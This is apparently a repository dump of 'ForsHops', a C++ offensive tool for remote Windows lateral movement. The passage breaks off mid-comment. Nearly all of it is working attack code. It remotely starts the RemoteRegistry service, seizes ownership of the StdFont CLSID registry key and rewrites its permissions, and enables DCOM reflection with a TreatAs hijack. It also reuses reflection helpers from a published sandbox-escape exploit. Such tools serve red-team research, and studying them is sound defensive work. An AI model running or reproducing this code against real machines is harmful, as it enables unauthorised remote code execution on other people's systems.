├── ForsHops.cpp ├── LICENSE └── README.md /ForsHops.cpp: -------------------------------------------------------------------------------- 1 | // This file is part of ForShops. 2 | // 3 | // Copyright (c) 2025 ForShops 4 | // 5 | // This program is free software: you can redistribute it and/or modify 6 | // it under the terms of the GNU General Public License as published by 7 | // the Free Software Foundation, either version 3 of the License, or 8 | // (at your option) any later version. 9 | // 10 | // This program is distributed in the hope that it will be useful, 11 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | // GNU General Public License for more details. 14 | // 15 | // You should have received a copy of the GNU General Public License 16 | // along with this program. If not, see . 17 | // 18 | // This project includes code from IE11SandboxEscapes(https://github.com/tyranid/IE11SandboxEscapes) by James Forshaw, 19 | // licensed under GNU General Public License v3.0. See the project license(https://github.com/tyranid/IE11SandboxEscapes/blob/master/LICENSE) for details. 20 | // Source information for author's code is provided below. 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #pragma comment(lib, "mscoree.lib") 30 | #pragma warning(disable : 4996) 31 | #import "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorlib.tlb" raw_interfaces_only rename("ReportEvent", "_ReportEvent") rename("or", "_or") 32 | 33 | using namespace mscorlib; 34 | 35 | typedef struct _ORIGINAL_REG_VALUES { 36 | PVOID AllowDCOMReflection; 37 | PVOID OnlyUseLatestCLR; 38 | PVOID StandardFontTreatAs; 39 | BOOLEAN NetFrameworkKey_Exists; 40 | } ORIGINAL_REG_VALUES, * PORIGINAL_VALUES; 41 | 42 | typedef struct _ACL_INFO { 43 | PSID_IDENTIFIER_AUTHORITY NtAuthority; 44 | PSID AdminSid; 45 | PSID TrustedInstallerSid; 46 | }ACL_INFO, * PACL_INFO; 47 | 48 | 49 | static const IID LIBID_StdFont = { 0x00020430, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } }; 50 | static const CLSID CLSID_StdFont = { 0x0be35203, 0x8f91, 0x11ce, { 0x9d, 0xe3, 0x00, 0xaa, 0x00, 0x4b, 0xb8, 0x51 } }; 51 | static const IID IID_IFont = { 0xbef6e003, 0xa874, 0x101a, { 0x8b, 0xba, 0x00, 0xaa, 0x00, 0x30, 0x0c, 0xab } }; 52 | static const IID IID_IObject = { 0x65074F7F, 0x63C0, 0x304E, { 0xAF, 0x0A, 0xD5, 0x17, 0x41, 0xCB, 0x4A, 0x8D } }; 53 | 54 | ORIGINAL_REG_VALUES og = { 0 }; 55 | BOOLEAN EnableRemoteRegistry = FALSE; 56 | 57 | // Claude 58 | uint8_t* readFileToBytes(LPSTR filename, size_t* outSize) { 59 | // Open file 60 | HANDLE fileHandle = CreateFileA( 61 | filename, 62 | GENERIC_READ, 63 | FILE_SHARE_READ, 64 | nullptr, 65 | OPEN_EXISTING, 66 | FILE_ATTRIBUTE_NORMAL, 67 | nullptr 68 | ); 69 | 70 | if (fileHandle == INVALID_HANDLE_VALUE) { 71 | *outSize = 0; 72 | return nullptr; 73 | } 74 | 75 | // Get file size 76 | LARGE_INTEGER fileSize; 77 | if (!GetFileSizeEx(fileHandle, &fileSize)) { 78 | CloseHandle(fileHandle); 79 | *outSize = 0; 80 | return nullptr; 81 | } 82 | 83 | // Check if file is too large 84 | if (fileSize.QuadPart > SIZE_MAX) { 85 | CloseHandle(fileHandle); 86 | *outSize = 0; 87 | return nullptr; 88 | } 89 | 90 | // Allocate buffer 91 | size_t bufferSize = static_cast(fileSize.QuadPart); 92 | uint8_t* buffer = (uint8_t*)malloc(bufferSize); 93 | if (!buffer) { 94 | CloseHandle(fileHandle); 95 | *outSize = 0; 96 | return nullptr; 97 | } 98 | 99 | // Read file 100 | DWORD bytesRead; 101 | size_t totalBytesRead = 0; 102 | size_t remainingBytes = bufferSize; 103 | 104 | while (remainingBytes > 0) { 105 | if (!ReadFile( 106 | fileHandle, 107 | buffer + totalBytesRead, 108 | static_cast(min(remainingBytes, MAXDWORD)), 109 | &bytesRead, 110 | nullptr 111 | )) { 112 | free(buffer); 113 | CloseHandle(fileHandle); 114 | *outSize = 0; 115 | return nullptr; 116 | } 117 | 118 | if (bytesRead == 0) break; // End of file 119 | 120 | totalBytesRead += bytesRead; 121 | remainingBytes -= bytesRead; 122 | } 123 | 124 | CloseHandle(fileHandle); 125 | *outSize = totalBytesRead; 126 | return buffer; 127 | } 128 | 129 | //VXAPI 130 | SIZE_T CharStringToWCharString(_Inout_ PWCHAR Destination, _In_ PCHAR Source, SIZE_T _In_ MaximumAllowed) 131 | { 132 | INT Length = (INT)MaximumAllowed; 133 | 134 | while (--Length >= 0) 135 | { 136 | if (!(*Destination++ = *Source++)) 137 | return MaximumAllowed - Length - 1; 138 | } 139 | 140 | return MaximumAllowed - Length; 141 | } 142 | /* @brief Start remote registry with pipe trick 143 | * Source: https://x.com/splinter_code/status/1715876413474025704 144 | * Author: Antonio Cocomazzi (@splinter_code) 145 | * @param [IN] computerName - ansi string of the computer name to start the remoteregistry on 146 | */ 147 | VOID StartRemoteRegistry(LPSTR computerName) { 148 | HANDLE hPipe; 149 | CHAR remoteRegistryPipe[255] = { 0 }; 150 | 151 | sprintf(remoteRegistryPipe, "\\\\%s\\pipe\\winreg", computerName); 152 | printf("[+] Opening a handle to %s\n", remoteRegistryPipe); 153 | hPipe = CreateFileA(remoteRegistryPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); 154 | if (hPipe == INVALID_HANDLE_VALUE && GetLastError() != ERROR_PIPE_BUSY) { 155 | printf("[-] Error opening handle: 0x%llx\n", GetLastError()); 156 | } 157 | else { 158 | printf("[+] Triggered pipe. RemoteRegistry should now be started\n"); 159 | } 160 | CloseHandle(hPipe); 161 | memset(remoteRegistryPipe, 0, sizeof(remoteRegistryPipe)); 162 | } 163 | 164 | /*@brief Helper to create a key 165 | * @param [IN] hRemoteRegistry - Handle to a remote registry where the key is to be created 166 | * @param [IN] KeyName - String name of the key to create 167 | * @return TRUE for function success, FALSE if it failed. 168 | */ 169 | BOOLEAN CreateKey(_In_ HKEY hRemoteRegistry, _In_ LPSTR KeyName) { 170 | BOOLEAN ret = FALSE; 171 | LSTATUS result = NULL; 172 | HKEY temp = NULL; 173 | 174 | if (!hRemoteRegistry || !KeyName) { 175 | return ret; 176 | } 177 | 178 | // Try to create it 179 | result = RegCreateKeyExA(hRemoteRegistry, KeyName, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &temp, NULL); 180 | if (result != ERROR_SUCCESS) { 181 | printf("[-] Failed to create key %s - RegCreateKeyExA: 0x%x\n", KeyName, result); 182 | goto cleanup; 183 | } 184 | printf("[+] Created %s successfully\n", KeyName); 185 | 186 | ret = TRUE; 187 | cleanup: 188 | if (temp) RegCloseKey(temp); 189 | return ret; 190 | } 191 | 192 | /* @brief Helper to check if a key exists 193 | * @param [IN] hRemoteRegistry - Handle to a remote registry where the key is to be checked 194 | * @param [IN] KeyName - String name of the key to check 195 | * @param [OUT] Exists - Pointer to a boolean that will indicate if the key existed already 196 | * @return TRUE for function success, FALSE if it failed. 197 | */ 198 | BOOLEAN CheckKey(_In_ HKEY hRemoteRegistry, _In_ LPSTR KeyName, _Out_ PBOOLEAN Exists) { 199 | BOOLEAN ret = FALSE; 200 | LSTATUS result = NULL; 201 | HKEY temp = NULL; 202 | 203 | if (!hRemoteRegistry || !KeyName || !Exists) { 204 | return ret; 205 | } 206 | 207 | printf("[+] Checking if %s exists\n", KeyName); 208 | result = RegOpenKeyExA(hRemoteRegistry, KeyName, 0, KEY_READ, &temp); 209 | if (result != ERROR_SUCCESS) { 210 | if (result == ERROR_FILE_NOT_FOUND) { 211 | *Exists = FALSE; 212 | printf("[+] %s doesn't exist, going to try to create it\n", KeyName); 213 | } 214 | else { 215 | printf("[-] Failed to check if %s exists - RegOpenKeyExA: 0x%x\n", KeyName, result); 216 | goto cleanup; 217 | } 218 | } 219 | else { 220 | *Exists = TRUE; 221 | } 222 | ret = TRUE; 223 | cleanup: 224 | if (temp) RegCloseKey(temp); 225 | return ret; 226 | } 227 | 228 | /* @brief Helper to check if a key exists and create it if it doesn't 229 | * @param [IN] hRemoteRegistry - Handle to a remote registry where the key is to be checked and/or created 230 | * @param [IN] KeyName - String name of the key to check and/or create 231 | * @param [OUT] Exists - Pointer to a boolean that will indicate if the key existed already 232 | * @return TRUE for function success, FALSE if it failed. 233 | */ 234 | BOOLEAN CheckAndCreateKey(_In_ HKEY hRemoteRegistry, _In_ LPSTR KeyName, _Out_ PBOOLEAN Exists) { 235 | 236 | if (!hRemoteRegistry || !KeyName || !Exists) { 237 | return FALSE; 238 | } 239 | 240 | if (!CheckKey(hRemoteRegistry, KeyName, Exists)) { 241 | return FALSE; 242 | } 243 | if (!CreateKey(hRemoteRegistry, KeyName)) { 244 | return FALSE; 245 | } 246 | 247 | return TRUE; 248 | } 249 | 250 | /* @brief Helper to delete a key 251 | * @param [IN] hRemoteRegistry - Handle to a remote registry where the key is to be deleted 252 | * @param [IN] KeyName - String name of the key to delete 253 | * @return TRUE for function success, FALSE if it failed. 254 | */ 255 | BOOLEAN DeleteKey(_In_ HKEY hRemoteRegistry, _In_ LPSTR KeyName) { 256 | 257 | HRESULT result = RegDeleteKeyA(hRemoteRegistry, KeyName); 258 | if (result != ERROR_SUCCESS) { 259 | printf("[-] Error deleting %s - RegDeleteKeyA: 0x%x\n", KeyName, result); 260 | return FALSE; 261 | } 262 | return TRUE; 263 | } 264 | 265 | /* @brief Helper to check if a key exists and read its value 266 | * @param [IN] hRemoteRegistry - Handle to a remote registry where the key is to be checked 267 | * @param [IN] KeyName - String name of the key to check 268 | * @param [IN] ValueName - String name of the value to read 269 | * @param [OUT] Exists - Pointer to a boolean that will indicate if the value existed already 270 | * @param [OUT_OPT] Value - Pointer to a pointer that will be populated with a heap allocation. This must be freed by the caller. If this is NULL, this function only checks if the value exists. 271 | * @return TRUE for function success, FALSE if it failed. 272 | */ 273 | BOOLEAN ReadValue(_In_ HKEY hRemoteRegistry, _In_ LPSTR KeyName, _In_ LPSTR ValueName, _Out_ PBOOLEAN Exists, _Out_opt_ PVOID* Value) { 274 | 275 | BOOLEAN ret = FALSE; 276 | LSTATUS result = NULL; 277 | DWORD sz = 0; 278 | DWORD type = 0; 279 | HKEY hKey = NULL; 280 | 281 | if (!hRemoteRegistry || !KeyName || !ValueName || !Exists) { 282 | return ret; 283 | } 284 | 285 | printf("[+] Checking if %s exists\n", KeyName); 286 | result = RegOpenKeyExA(hRemoteRegistry, KeyName, 0, KEY_READ, &hKey); 287 | if (result != ERROR_SUCCESS) { 288 | if (result == ERROR_FILE_NOT_FOUND) { 289 | printf("[+] %s doesn't exist.\n", KeyName); 290 | *Exists = FALSE; 291 | } 292 | else { 293 | printf("[-] Failed to check if %s exists - RegOpenKeyExA: 0x%x\n", KeyName, result); 294 | goto cleanup; 295 | } 296 | } 297 | else { 298 | printf("[+] %s exists, reading value.\n", KeyName); 299 | result = RegQueryValueExA(hKey, ValueName, NULL, &type, NULL, &sz); 300 | if (result == ERROR_FILE_NOT_FOUND) { 301 | *Exists = FALSE; 302 | printf("[+] Value: %s doesn't exist\n", ValueName); 303 | ret = TRUE; 304 | goto cleanup; 305 | } 306 | else if (result == ERROR_SUCCESS) { 307 | *Exists = TRUE; 308 | if (Value) { 309 | *Value = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sz); 310 | result = RegQueryValueExA(hKey, ValueName, NULL, &type, (LPBYTE)*Value, &sz); 311 | if (result != ERROR_SUCCESS) { 312 | printf("[-] Error when reading the %s value on %s - RegQueryValueEx: 0x%x\n", ValueName, KeyName, result); 313 | goto cleanup; 314 | } 315 | } 316 | } 317 | else { 318 | printf("[-] Error - RegQueryValueExA: 0x%x\n", result); 319 | goto cleanup; 320 | } 321 | } 322 | ret = TRUE; 323 | cleanup: 324 | if (hKey) RegCloseKey(hKey); 325 | return ret; 326 | } 327 | 328 | /* @brief Helper to write a value into a key 329 | * @param [IN] hRemoteRegistry - Handle to a remote registry where the value is to be written 330 | * @param [IN] KeyName - String name of the key where the value is to be written 331 | * @param [IN] ValueName - String name of the value to write 332 | * @param [IN] Type - Registry data type to be written 333 | * @param [IN_OPT] Value - Pointer to a pointer that contains the value to write. If this is NULL, the value will instead be DELETED. 334 | * @param [IN] Size - Size of data. If NULL, then writing default value in. 335 | * @return TRUE for function success, FALSE if it failed. 336 | */ 337 | BOOLEAN WriteValue(_In_ HKEY hRemoteRegistry, _In_ LPSTR KeyName, _In_ LPSTR ValueName, _In_ DWORD Type, _In_opt_ PVOID Value, _In_ DWORD size) { 338 | BOOLEAN ret = FALSE; 339 | LSTATUS result = NULL; 340 | HKEY hKey = NULL; 341 | 342 | if (!hRemoteRegistry || !KeyName || !ValueName) { 343 | return ret; 344 | } 345 | 346 | printf("[+] Getting handle to %s\n", KeyName); 347 | result = RegOpenKeyExA(hRemoteRegistry, KeyName, 0, KEY_WRITE, &hKey); 348 | if (result != ERROR_SUCCESS) { 349 | printf("[-] Failed to check if %s exists - RegOpenKeyExA: 0x%x\n", KeyName, result); 350 | goto cleanup; 351 | 352 | } 353 | 354 | if (Value) { 355 | printf("[+] Writing value into %s\n", KeyName); 356 | 357 | if (!size) { 358 | Value = NULL; 359 | } 360 | 361 | result = RegSetValueExA(hKey, ValueName, 0, Type, (PBYTE)Value, size); 362 | if (result != ERROR_SUCCESS) { 363 | printf("[-] Failed to set %s value on %s - RegSetValueExA: 0x%x\n", ValueName, KeyName, result); 364 | goto cleanup; 365 | } 366 | } 367 | else { 368 | printf("[+] Deleting %s from %s\n", ValueName, KeyName); 369 | result = RegDeleteValueA(hKey, ValueName); 370 | if (result != ERROR_SUCCESS) { 371 | printf("[-] Failed to delete %s value on %s - RegDeleteValueA: 0x%x\n", ValueName, KeyName, result); 372 | goto cleanup; 373 | } 374 | } 375 | ret = TRUE; 376 | cleanup: 377 | if (hKey) RegCloseKey(hKey); 378 | return ret; 379 | } 380 | 381 | /* @brief Function to change Clsid key ownership 382 | * @param [IN] hRemoteRegistry - handle to the remote registry key 383 | * @param [IN] clsidKey - ansi string with the full path to the key we are taking ownership of 384 | * @param [IN] adminSid - pointer to the SID with the RIDs of the objects that will own the key 385 | * @return - FALSE for failure, true for success 386 | */ 387 | BOOLEAN ChangeClsidKeyOwner(_In_ HKEY hRemoteRegistry, _In_ LPSTR clsidKey, _In_ PSID adminSid) 388 | { 389 | HKEY hKey = NULL; 390 | HKEY hRootKey = HKEY_LOCAL_MACHINE; 391 | LONG result = FALSE; 392 | BOOLEAN ret = FALSE; 393 | SECURITY_DESCRIPTOR sd; 394 | 395 | // Open the registry key with WRITE_OWNER access 396 | result = RegOpenKeyExA(hRemoteRegistry, clsidKey, 0, WRITE_OWNER, &hKey); 397 | if (result != ERROR_SUCCESS) { 398 | printf("[-] Failed to open %s with WRITE_OWNER access - RegOpenKeyExA: 0x%x\n", clsidKey, GetLastError()); 399 | goto cleanup; 400 | } 401 | 402 | // Initialize a new security descriptor 403 | if (!(InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))) 404 | { 405 | printf("[-] Failed to create a new security descriptor - InitializeSecurityDescriptor: 0x%x\n", GetLastError()); 406 | goto cleanup; 407 | } 408 | 409 | // Set the owner in the security descriptor 410 | if (!SetSecurityDescriptorOwner(&sd, adminSid, FALSE)) 411 | { 412 | printf("[-] Failed to set ownership in the security descriptor - SetSecurityDescriptorOwner: 0x%x\n", GetLastError()); 413 | goto cleanup; 414 | } 415 | 416 | // Apply the updated security descriptor to the registry key 417 | result = RegSetKeySecurity(hKey, OWNER_SECURITY_INFORMATION, &sd); 418 | if (result != ERROR_SUCCESS) 419 | { 420 | printf("[-] Failed to set ownership of %s - RegSetKeySecurity: 0x%x\n", clsidKey, GetLastError()); 421 | goto cleanup; 422 | } 423 | 424 | printf("[+] Successfully changed the owner of the registry key\n"); 425 | ret = TRUE; 426 | 427 | // Clean up 428 | cleanup: 429 | if (hKey) RegCloseKey(hKey); 430 | return ret; 431 | } 432 | 433 | /* @brief Function to adjust Clsid Key DACL to enable key modification 434 | * @param [IN] hRemoteRegistry - handle to the remote registry key 435 | * @param [IN] clsidKey - ansi string with the full path to the key we are taking ownership of 436 | * @param [IN] adminSid - pointer to the SID with the RIDs of the objects that will be granted [accessMask] 437 | * @param [IN] accessMask - AccessMask to be granted to the SID 438 | * @return - FALSE for failure, true for success 439 | */ 440 | BOOLEAN ChangeClsidKeyDacl(_In_ HKEY hRemoteRegistry, _In_ LPSTR clsidKey, _In_ PSID adminSid, _In_ DWORD accessMask) 441 | { 442 | 443 | PSECURITY_DESCRIPTOR pSD = NULL; 444 | EXPLICIT_ACCESS ea = { 0 }; 445 | SECURITY_DESCRIPTOR newSD = { 0 }; 446 | DWORD cbSecurityDescriptor = 0; 447 | BOOLEAN ret = FALSE; 448 | BOOL bDaclPresent = FALSE; 449 | BOOL bDaclDefaulted = FALSE; 450 | HKEY hRegKey = NULL; 451 | PACL pOldAcl = NULL; 452 | PACL pNewAcl = NULL; 453 | LONG result = NULL; 454 | 455 | result = RegOpenKeyExA(hRemoteRegistry, clsidKey, 0, KEY_READ | WRITE_DAC, &hRegKey); 456 | if (result != ERROR_SUCCESS) 457 | { 458 | printf("[-] Failed to open %s with Read and Write DACL access - RegOpenKeyExA: 0x%x\n", clsidKey, GetLastError()); 459 | goto cleanup; 460 | } 461 | 462 | // Get the existing security descriptor using RegGetKeySecurity 463 | result = RegGetKeySecurity(hRegKey, DACL_SECURITY_INFORMATION, NULL, &cbSecurityDescriptor); 464 | if (result != ERROR_SUCCESS && result != ERROR_INSUFFICIENT_BUFFER) 465 | { 466 | printf("[-] Failed to query %s's security descriptor size - RegGetKeySecurity: 0x%x\n", clsidKey, result); 467 | goto cleanup; 468 | } 469 | 470 | pSD = (PSECURITY_DESCRIPTOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbSecurityDescriptor); 471 | result = RegGetKeySecurity(hRegKey, DACL_SECURITY_INFORMATION, pSD, &cbSecurityDescriptor); 472 | if (result != ERROR_SUCCESS) 473 | { 474 | printf("[-] Failed to read %s's security descriptor - RegGetKeySecurity: 0x%x\n", clsidKey, result); 475 | goto cleanup; 476 | } 477 | 478 | // Get the DACL from the security descriptor 479 | if (!GetSecurityDescriptorDacl(pSD, &bDaclPresent, &pOldAcl, &bDaclDefaulted)) 480 | { 481 | printf("[-] Failed to get DACL from security descriptor - GetSecurityDescriptorDacl: 0x%x\n", GetLastError()); 482 | goto cleanup; 483 | } 484 | 485 | // Setup the new access 486 | ea.grfAccessPermissions = accessMask; 487 | ea.grfAccessMode = SET_ACCESS; 488 | ea.grfInheritance = NO_INHERITANCE; 489 | ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; 490 | ea.Trustee.TrusteeType = TRUSTEE_IS_GROUP; 491 | ea.Trustee.ptstrName = (LPWCH)adminSid; 492 | 493 | // Create new ACL combining old and new 494 | result = SetEntriesInAclW(1, &ea, pOldAcl, &pNewAcl); 495 | if (result != ERROR_SUCCESS) 496 | { 497 | printf("[-] Failed to create ACL to enable key modification - SetEntriesInAclW: 0x%x\n", GetLastError()); 498 | goto cleanup; 499 | } 500 | 501 | // Create new security descriptor 502 | if (!InitializeSecurityDescriptor(&newSD, SECURITY_DESCRIPTOR_REVISION)) 503 | { 504 | printf("[-] Failed to initialize security descriptor to enable key modification - InitializeSecurityDescriptor: 0x%x\n", GetLastError()); 505 | goto cleanup; 506 | } 507 | 508 | if (!SetSecurityDescriptorDacl(&newSD, TRUE, pNewAcl, FALSE)) 509 | { 510 | printf("[-] Failed to create DACL to enable key modification - SetSecurityDescriptorDacl: 0x%x\n", GetLastError()); 511 | goto cleanup; 512 | } 513 | 514 | result = RegSetKeySecurity(hRegKey, DACL_SECURITY_INFORMATION, &newSD); 515 | if (result != ERROR_SUCCESS) 516 | { 517 | printf("[-] Failed to set DACL to enable key modification - RegSetKeySecurity: 0x%x\n", GetLastError()); 518 | goto cleanup; 519 | } 520 | 521 | ret = TRUE; 522 | printf("[+] Changed CLSID Key DACL\n"); 523 | cleanup: 524 | if (hRegKey) RegCloseKey(hRegKey); 525 | if (pNewAcl) LocalFree(pNewAcl); 526 | if (pSD) HeapFree(GetProcessHeap(), NULL, pSD); 527 | return ret; 528 | } 529 | 530 | // TODO: change all registry operations to use least privilege handle 531 | /* @brief Check for target CLSID's existence, and if it exists, try to write an AppID value and key to expose it to DCOM 532 | * @param [IN] target - ansi string hostname or ip address of target 533 | * @param [IN] Clean - BOOLEAN indicating we are deleting the AppID value and the AppID key 534 | * @param [IN_OPT] sids - PACL_INFO with sids. Can be NULL unless ModifyRegistryACL is TRUE. 535 | * @return 0 for success, 1 for error 536 | */ 537 | BOOLEAN DoRegistry_RPC(_In_ LPSTR target, _In_ BOOLEAN Clean, _In_opt_ PACL_INFO sids) { 538 | 539 | HKEY hRemoteReg = NULL; 540 | LSTATUS result = NULL; 541 | BOOLEAN ret = TRUE; 542 | LPSTR value = NULL; 543 | BOOLEAN exists = FALSE; 544 | CHAR regst_buffer[255] = { 0 }; 545 | 546 | CHAR* NetFrameworkKey = (PCHAR)("SOFTWARE\\Microsoft\\.NETFramework"); 547 | CHAR* StandardFont_CLSID = (PCHAR)("SOFTWARE\\Classes\\CLSID\\{0BE35203-8F91-11CE-9DE3-00AA004BB851}"); 548 | CHAR* StandardFont_Treat = (PCHAR)("SOFTWARE\\Classes\\CLSID\\{0BE35203-8F91-11CE-9DE3-00AA004BB851}\\TreatAs"); 549 | CHAR* System_Object_GUID = (PCHAR)("{81C5FE01-027C-3E1C-98D5-DA9C9862AA21}"); 550 | 551 | DWORD sz = strlen(target); 552 | 553 | // Check if target hostname is too large 554 | if (sz > sizeof(regst_buffer) - 1) { 555 | printf("[-] Target is too large\n"); 556 | goto cleanup; 557 | } 558 | 559 | // Prepare strings 560 | sprintf(regst_buffer, "\\\\%s", target); 561 | 562 | // Check and enable Remote Registry 563 | if (EnableRemoteRegistry) { 564 | StartRemoteRegistry(target); 565 | } 566 | 567 | // Connect Registry 568 | result = RegConnectRegistryA(regst_buffer, HKEY_LOCAL_MACHINE, &hRemoteReg); 569 | if (result != ERROR_SUCCESS) { 570 | printf("[-] Failed to connect to %s's registry - RegConnectRegistry: 0x%x\n", target, result); 571 | goto cleanup; 572 | } 573 | printf("[+] Connected to: %s\n", regst_buffer); 574 | 575 | if (!Clean) { 576 | 577 | // Check if .NetFramework Key exists 578 | if (!CheckKey(hRemoteReg, NetFrameworkKey, &exists)) { 579 | goto cleanup; 580 | } 581 | // Create the key 582 | if (!exists) { 583 | if (!CreateKey(hRemoteReg, NetFrameworkKey)) { 584 | goto cleanup; 585 | } 586 | og.NetFrameworkKey_Exists = FALSE; 587 | } 588 | else { 589 | og.NetFrameworkKey_Exists = TRUE; 590 | } 591 | 592 | // Check and set AllowDCOMReflection 593 | DWORD one = 1; 594 | if (!ReadValue(hRemoteReg, NetFrameworkKey, (LPSTR)"AllowDCOMReflection", &exists, &og.AllowDCOMReflection)) { 595 | goto cleanup; 596 | } 597 | if (!WriteValue(hRemoteReg, NetFrameworkKey, (LPSTR)"AllowDCOMReflection", REG_DWORD, &one, sizeof(one))) { 598 | goto cleanup; 599 | } 600 | 601 | // Check and set OnlyUseLatestCLR 602 | if (!ReadValue(hRemoteReg, NetFrameworkKey, (LPSTR)"OnlyUseLatestCLR", &exists, &og.OnlyUseLatestCLR)) { 603 | goto cleanup; 604 | } 605 | if (!WriteValue(hRemoteReg, NetFrameworkKey, (LPSTR)"OnlyUseLatestCLR", REG_DWORD, &one, sizeof(one))) { 606 | goto cleanup; 607 | } 608 | 609 | // Check if TreatAs Key exists 610 | exists = FALSE; 611 | if (!CheckKey(hRemoteReg, StandardFont_Treat, &exists)) { 612 | goto cleanup; 613 | } 614 | if (exists) { 615 | printf("[+] TreatAs subkey exists on StandardFont for some reason. Going to try to read it...\n"); 616 | if (!ReadValue(hRemoteReg, StandardFont_Treat, (LPSTR)"", &exists, &og.StandardFontTreatAs)) { 617 | goto cleanup; 618 | } 619 | } 620 | 621 | // Set Key ownership to Administrators and grant KEY_ALL_ACCESS to Administrator 622 | printf("[+] Trying to obtain ownership of %s...\n", StandardFont_CLSID); 623 | if (!ChangeClsidKeyOwner(hRemoteReg, StandardFont_CLSID, sids->AdminSid)) { 624 | goto cleanup; 625 | } 626 | 627 | printf("[+] Trying to set KEY_ALL_ACCESS on %s...\n", StandardFont_CLSID); 628 | if (!ChangeClsidKeyDacl(hRemoteReg, StandardFont_CLSID, sids->AdminSid, KEY_ALL_ACCESS)) { 629 | goto cleanup; 630 | } 631 | 632 | if (!exists) { 633 | // Create TreatAs Key 634 | if (!CreateKey(hRemoteReg, StandardFont_Treat)) { 635 | goto cleanup; 636 | } 637 | } 638 | 639 | printf("[+] Trying to set KEY_ALL_ACCESS on %s...\n", StandardFont_Treat); 640 | if (!ChangeClsidKeyDacl(hRemoteReg, StandardFont_Treat, sids->AdminSid, KEY_ALL_ACCESS)) { 641 | goto cleanup; 642 | } 643 | 644 | // Set TreatAs key default value to System.Object 645 | if (!WriteValue(hRemoteReg, StandardFont_Treat, (LPSTR)"", REG_SZ, System_Object_GUID, strlen(System_Object_GUID) + 1)) { 646 | goto cleanup; 647 | } 648 | } 649 | else { 650 | 651 | // Restore original values, if applicable. Otherwise, Delete 652 | if (og.AllowDCOMReflection) { 653 | WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"AllowDCOMReflection", REG_DWORD, og.AllowDCOMReflection, sizeof(DWORD)); 654 | } 655 | else { 656 | WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"AllowDCOMReflection", NULL, NULL, 0); 657 | } 658 | 659 | if (og.OnlyUseLatestCLR) { 660 | WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"OnlyUseLatestCLR", REG_DWORD, og.OnlyUseLatestCLR, sizeof(DWORD)); 661 | } 662 | else { 663 | WriteValue(hRemoteReg, NetFrameworkKey, (PCHAR)"OnlyUseLatestCLR", NULL, NULL, 0); 664 | } 665 | 666 | if (og.StandardFontTreatAs) { 667 | WriteValue(hRemoteReg, StandardFont_Treat, (PCHAR)"", REG_SZ, og.StandardFontTreatAs, 0); 668 | } 669 | else { 670 | DeleteKey(hRemoteReg, StandardFont_Treat); 671 | } 672 | 673 | if (!og.NetFrameworkKey_Exists) { 674 | if (!DeleteKey(hRemoteReg, NetFrameworkKey)) { 675 | goto cleanup; 676 | } 677 | } 678 | 679 | // Note: Best effort to restore a TrustedInstaller SID. More research needed for determining specific OS SIDs/variations. 680 | // Restore ownership to TrustedInstaller and keep Administrator at KEY_READ 681 | printf("[+] Trying to set KEY_READ on %s...\n", StandardFont_CLSID); 682 | if (!ChangeClsidKeyDacl(hRemoteReg, StandardFont_CLSID, sids->AdminSid, KEY_READ)) { 683 | goto cleanup; 684 | } 685 | 686 | printf("[+] Trying to reset ownership of %s...\n", StandardFont_CLSID); 687 | if (!ChangeClsidKeyOwner(hRemoteReg, StandardFont_CLSID, sids->TrustedInstallerSid)) { 688 | goto cleanup; 689 | } 690 | } 691 | ret = FALSE; 692 | cleanup: 693 | if (value) HeapFree(GetProcessHeap(), NULL, value); 694 | if (hRemoteReg) RegCloseKey(hRemoteReg); 695 | return ret; 696 | 697 | } 698 | 699 | /* 700 | * Author: James Forshaw (@tiraniddo) 701 | * Source: https://github.com/tyranid/IE11SandboxEscapes/blob/master/CVE-2014-0257/CVE-2014-0257.cpp 702 | */ 703 | long GetSafeArrayLen(LPSAFEARRAY psa) 704 | { 705 | long ubound = 0; 706 | SafeArrayGetUBound(psa, 1, &ubound); 707 | return ubound + 1; 708 | } 709 | 710 | /* 711 | * Author: James Forshaw (@tiraniddo) 712 | * Source: https://github.com/tyranid/IE11SandboxEscapes/blob/master/CVE-2014-0257/CVE-2014-0257.cpp 713 | */ 714 | mscorlib::_MethodInfoPtr GetStaticMethod(mscorlib::_TypePtr type, LPCWSTR findName, int pcount) 715 | { 716 | DWORD counter = 0; 717 | SAFEARRAY* methods = nullptr; 718 | HRESULT hr = type->GetMethods_2(&methods); 719 | if (FAILED(hr) || !methods) return nullptr; 720 | 721 | mscorlib::_MethodInfoPtr ret; 722 | LONG methodCount = GetSafeArrayLen(methods); 723 | 724 | for (long i = 0; i < methodCount; ++i) 725 | { 726 | IUnknown* v = nullptr; 727 | if (SUCCEEDED(SafeArrayGetElement(methods, &i, &v))) 728 | { 729 | mscorlib::_MethodInfoPtr method = v; 730 | BSTR methodName = nullptr; 731 | method->get_name(&methodName); // Fixed: Use get_name with BSTR parameter 732 | 733 | SAFEARRAY* params = nullptr; 734 | method->GetParameters(¶ms); 735 | long paramCount = params ? GetSafeArrayLen(params) : 0; 736 | 737 | VARIANT_BOOL isStatic = VARIANT_FALSE; 738 | method->get_IsStatic(&isStatic); 739 | 740 | if (isStatic == VARIANT_TRUE && wcscmp(methodName, findName) == 0 && paramCount == pcount) 741 | { 742 | ////////// 743 | if (wcscmp(methodName, L"Load") == 0 && counter < 2) { 744 | counter++; 745 | continue; 746 | } 747 | ////////// 748 | ret = method; 749 | if (params) SafeArrayDestroy(params); 750 | SysFreeString(methodName); 751 | break; 752 | } 753 | 754 | if (params) SafeArrayDestroy(params); 755 | SysFreeString(methodName); 756 | } 757 | } 758 | 759 | SafeArrayDestroy(methods); 760 | return ret; 761 | } 762 | 763 | /* 764 | * Author: James Forshaw (@tiraniddo) 765 | * Source: 